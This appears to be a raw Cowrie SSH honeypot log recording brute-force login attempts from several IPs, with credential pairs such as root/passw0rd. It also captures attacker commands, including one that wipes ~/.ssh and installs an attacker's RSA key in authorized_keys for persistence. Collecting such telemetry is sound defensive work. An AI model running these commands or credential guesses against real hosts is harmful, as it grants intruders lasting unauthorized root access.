{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:29:13.880579Z","src_ip":"92.118.39.92","session":"8937bd6b82d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:29:13.985740Z","src_ip":"92.118.39.92","session":"8937bd6b82d0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"passw0rd","message":"login attempt [root/passw0rd] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:29:14.297989Z","src_ip":"92.118.39.92","session":"8937bd6b82d0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:29:14.538126Z","src_ip":"92.118.39.92","session":"8937bd6b82d0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:29:14.541638Z","src_ip":"92.118.39.92","session":"8937bd6b82d0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:29:14.673669Z","src_ip":"92.118.39.92","session":"8937bd6b82d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:29:14.678440Z","src_ip":"92.118.39.92","session":"8937bd6b82d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":49274,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f781dcac324","protocol":"ssh","message":"New connection: 193.32.162.151:49274 (159.203.135.109:22) [session: 1f781dcac324]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:29:43.202697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:29:43.207300Z","src_ip":"193.32.162.151","session":"1f781dcac324","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:29:43.316000Z","src_ip":"193.32.162.151","session":"1f781dcac324","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"loginuser","password":"firewall","message":"login attempt [loginuser/firewall] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:29:43.642373Z","src_ip":"193.32.162.151","session":"1f781dcac324","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:29:44.764906Z","src_ip":"193.32.162.151","session":"1f781dcac324","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.198.97.85","src_port":55946,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ad8baa57661","protocol":"ssh","message":"New connection: 85.198.97.85:55946 (159.203.135.109:22) [session: 9ad8baa57661]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:30:14.103985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:30:14.115611Z","src_ip":"85.198.97.85","session":"9ad8baa57661","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:30:14.246446Z","src_ip":"85.198.97.85","session":"9ad8baa57661","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Abcd1234","message":"login attempt [root/Abcd1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:30:14.637589Z","src_ip":"85.198.97.85","session":"9ad8baa57661","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:30:15.031874Z","src_ip":"85.198.97.85","session":"9ad8baa57661","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo 'dGVzdA==' | base64 -d 2>/dev/null","message":"CMD: echo 'dGVzdA==' | base64 -d 2>/dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:30:15.035416Z","src_ip":"85.198.97.85","session":"9ad8baa57661","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973","size":4,"shasum":"ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:30:15.181926Z","src_ip":"85.198.97.85","session":"9ad8baa57661","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:30:15.187846Z","src_ip":"85.198.97.85","session":"9ad8baa57661","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.210.21.178","src_port":51086,"dst_ip":"10.17.0.5","dst_port":22,"session":"c240b29d1625","protocol":"ssh","message":"New connection: 103.210.21.178:51086 (10.17.0.5:22) [session: c240b29d1625]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:30:15.213730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:30:15.218260Z","src_ip":"103.210.21.178","session":"c240b29d1625","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:30:15.435044Z","src_ip":"103.210.21.178","session":"c240b29d1625","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Ab123456!","message":"login attempt [root/Ab123456!] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:30:16.339936Z","src_ip":"103.210.21.178","session":"c240b29d1625","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:30:16.819172Z","src_ip":"103.210.21.178","session":"c240b29d1625","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:30:16.822518Z","src_ip":"103.210.21.178","session":"c240b29d1625","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:30:16.826830Z","src_ip":"103.210.21.178","session":"c240b29d1625","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:30:17.047607Z","src_ip":"103.210.21.178","session":"c240b29d1625","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:30:17.520090Z","src_ip":"103.210.21.178","session":"c240b29d1625","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:30:17.523283Z","src_ip":"103.210.21.178","session":"c240b29d1625","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:30:17.745327Z","src_ip":"103.210.21.178","session":"c240b29d1625","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:30:17.749559Z","src_ip":"103.210.21.178","session":"c240b29d1625","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.210.21.178","src_port":51094,"dst_ip":"10.17.0.5","dst_port":22,"session":"26292b144190","protocol":"ssh","message":"New connection: 103.210.21.178:51094 (10.17.0.5:22) [session: 26292b144190]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:30:17.953964Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:30:17.966279Z","src_ip":"103.210.21.178","session":"26292b144190","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:30:18.181914Z","src_ip":"103.210.21.178","session":"26292b144190","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:30:19.073420Z","src_ip":"103.210.21.178","session":"26292b144190","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:30:20.291487Z","src_ip":"103.210.21.178","session":"26292b144190","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.210.21.178","src_port":51098,"dst_ip":"10.17.0.5","dst_port":22,"session":"973cec916ff4","protocol":"ssh","message":"New connection: 103.210.21.178:51098 (10.17.0.5:22) [session: 973cec916ff4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:30:20.505637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:30:20.515189Z","src_ip":"103.210.21.178","session":"973cec916ff4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:30:20.734802Z","src_ip":"103.210.21.178","session":"973cec916ff4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:30:21.631222Z","src_ip":"103.210.21.178","session":"973cec916ff4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.6","message":"Connection lost after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:30:21.850415Z","src_ip":"103.210.21.178","session":"c240b29d1625","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:30:21.854735Z","src_ip":"103.210.21.178","session":"973cec916ff4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":36832,"dst_ip":"159.203.135.109","dst_port":22,"session":"cefe61be1d2a","protocol":"ssh","message":"New connection: 195.178.110.218:36832 (159.203.135.109:22) [session: cefe61be1d2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:30:30.639074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:30:30.644018Z","src_ip":"195.178.110.218","session":"cefe61be1d2a","protocol":"ssh"}
